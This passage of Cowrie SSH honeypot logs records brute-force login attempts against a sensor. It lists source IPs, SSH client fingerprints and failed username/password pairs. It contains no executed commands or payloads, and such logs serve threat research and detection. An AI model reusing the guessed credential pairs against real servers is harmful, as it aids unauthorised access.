f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:15:30.842444Z","src_ip":"43.153.27.162","session":"116609a587ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dp@123","message":"login attempt [root/dp@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:15:31.145741Z","src_ip":"43.153.27.162","session":"116609a587ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:15:32.216429Z","src_ip":"43.153.27.162","session":"116609a587ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.26.36.248","src_port":29568,"dst_ip":"159.203.135.109","dst_port":22,"session":"3cdf2286460d","protocol":"ssh","message":"New connection: 118.26.36.248:29568 (159.203.135.109:22) [session: 3cdf2286460d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:15:43.924863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:15:43.929678Z","src_ip":"118.26.36.248","session":"3cdf2286460d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:15:44.150651Z","src_ip":"118.26.36.248","session":"3cdf2286460d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"...","password":"lol_lol_L0L_12346!&^$%#@@_87568","message":"login attempt [.../lol_lol_L0L_12346!&^$%#@@_87568] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:15:45.052341Z","src_ip":"118.26.36.248","session":"3cdf2286460d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:15:46.273345Z","src_ip":"118.26.36.248","session":"3cdf2286460d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:16:09.690092Z","src_ip":"47.86.95.62","session":"3abbd8857634","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.12.41.6","src_port":45856,"dst_ip":"10.17.0.5","dst_port":22,"session":"797329daac25","protocol":"ssh","message":"New connection: 20.12.41.6:45856 (10.17.0.5:22) [session: 797329daac25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:16:10.637917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:16:10.642925Z","src_ip":"20.12.41.6","session":"797329daac25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:16:10.657499Z","src_ip":"20.12.41.6","session":"797329daac25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12341234","message":"login attempt [root/12341234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:16:10.749707Z","src_ip":"20.12.41.6","session":"797329daac25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.222.211.114","src_port":46734,"dst_ip":"159.203.135.109","dst_port":22,"session":"36be2f45b02c","protocol":"ssh","message":"New connection: 61.222.211.114:46734 (159.203.135.109:22) [session: 36be2f45b02c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:16:11.709321Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:16:11.718303Z","src_ip":"61.222.211.114","session":"36be2f45b02c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:16:11.768048Z","src_ip":"20.12.41.6","session":"797329daac25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:16:11.923006Z","src_ip":"61.222.211.114","session":"36be2f45b02c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhxnephu","password":"zXXUKpvydMqzp1quBItn","message":"login attempt [zhxnephu/zXXUKpvydMqzp1quBItn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:16:12.769863Z","src_ip":"61.222.211.114","session":"36be2f45b02c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:16:13.979389Z","src_ip":"61.222.211.114","session":"36be2f45b02c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@123","message":"login attempt [root/root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:16:23.145301Z","src_ip":"47.86.95.62","session":"03a0697943c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.59.89.180","src_port":43486,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ad594c1ea77","protocol":"ssh","message":"New connection: 31.59.89.180:43486 (159.203.135.109:22) [session: 1ad594c1ea77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:16:28.455772Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:16:28.462390Z","src_ip":"31.59.89.180","session":"1ad594c1ea77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:16:28.575641Z","src_ip":"31.59.89.180","session":"1ad594c1ea77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:16:29.058545Z","src_ip":"31.59.89.180","session":"1ad594c1ea77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:16:30.174756Z","src_ip":"31.59.89.180","session":"1ad594c1ea77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"110.5","message":"Connection lost after 110.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:16:31.104715Z","src_ip":"47.86.95.62","session":"03a0697943c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.27.162","src_port":47126,"dst_ip":"10.17.0.5","dst_port":22,"session":"bdb9cd3361e0","protocol":"ssh","message":"New connection: 43.153.27.162:47126 (10.17.0.5:22) [session: bdb9cd3361e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:16:44.889901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:16:44.895982Z","src_ip":"43.153.27.162","session":"bdb9cd3361e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:16:44.964619Z","src_ip":"43.153.27.162","session":"bdb9cd3361e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12341234","message":"login attempt [root/12341234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:16:45.271872Z","src_ip":"43.153.27.162","session":"bdb9cd3361e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:16:46.344187Z","src_ip":"43.153.27.162","session":"bdb9cd3361e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":22989,"dst_ip":"159.203.135.109","dst_port":22,"session":"4dba0d71453d","protocol":"ssh","message":"New connection: 2.57.121.112:22989 (159.203.135.109:22) [session: 4dba0d71453d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:16:54.061321Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:16:54.066174Z","src_ip":"2.57.121.112","session":"4dba0d71453d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:16:54.171890Z","src_ip":"2.57.121.112","session":"4dba0d71453d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"dastan","message":"login attempt [admin/dastan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:16:54.666531Z","src_ip":"2.57.121.112","session":"4dba0d71453d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"daryl","message":"login attempt [admin/daryl] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:16:55.775871Z","src_ip":"2.57.121.112","session":"4dba0d71453d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"danny2","message":"login attempt [admin/danny2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:16:56.885923Z","src_ip":"2.57.121.112","session":"4dba0d71453d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"dali","message":"login attempt [admin/dali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:16:57.994416Z","src_ip":"2.57.121.112","session":"4dba0d71453d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"daimler","message":"login attempt [admin/daimler] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:16:59.103793Z","src_ip":"2.57.121.112","session":"4dba0d71453d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:17:00.214672Z","src_ip":"2.57.121.112","session":"4dba0d71453d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.26.36.248","src_port":29256,"dst_ip":"159.203.135.109","dst_port":22,"session":"c582cd1f08a1","protocol":"ssh","message":"New connection: 118.26.36.248:29256 (159.203.135.109:22) [session: c582cd1f08a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:17:05.856532Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:17:05.862347Z","src_ip":"118.26.36.248","session":"c582cd1f08a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:17:06.083142Z","src_ip":"118.26.36.248","session":"c582cd1f08a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Rayda@2017","message":"login attempt [root/Rayda@2017] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:17:06.992685Z","src_ip":"118.26.36.248","session":"c582cd1f08a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:17:08.216400Z","src_ip":"118.26.36.248","session":"c582cd1f08a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.12.41.6","src_port":43062,"dst_ip":"10.17.0.5","dst_port":22,"session":"980baa302b91","protocol":"ssh","message":"New connection: 20.12.41.6:43062 (10.17.0.5:22) [session: 980baa302b91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:17:35.246472Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:17:35.250871Z","src_ip":"20.12.41.6","session":"980baa302b91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:17:35.265378Z","src_ip":"20.12.41.6","session":"980baa302b91","protocol":"ssh"}
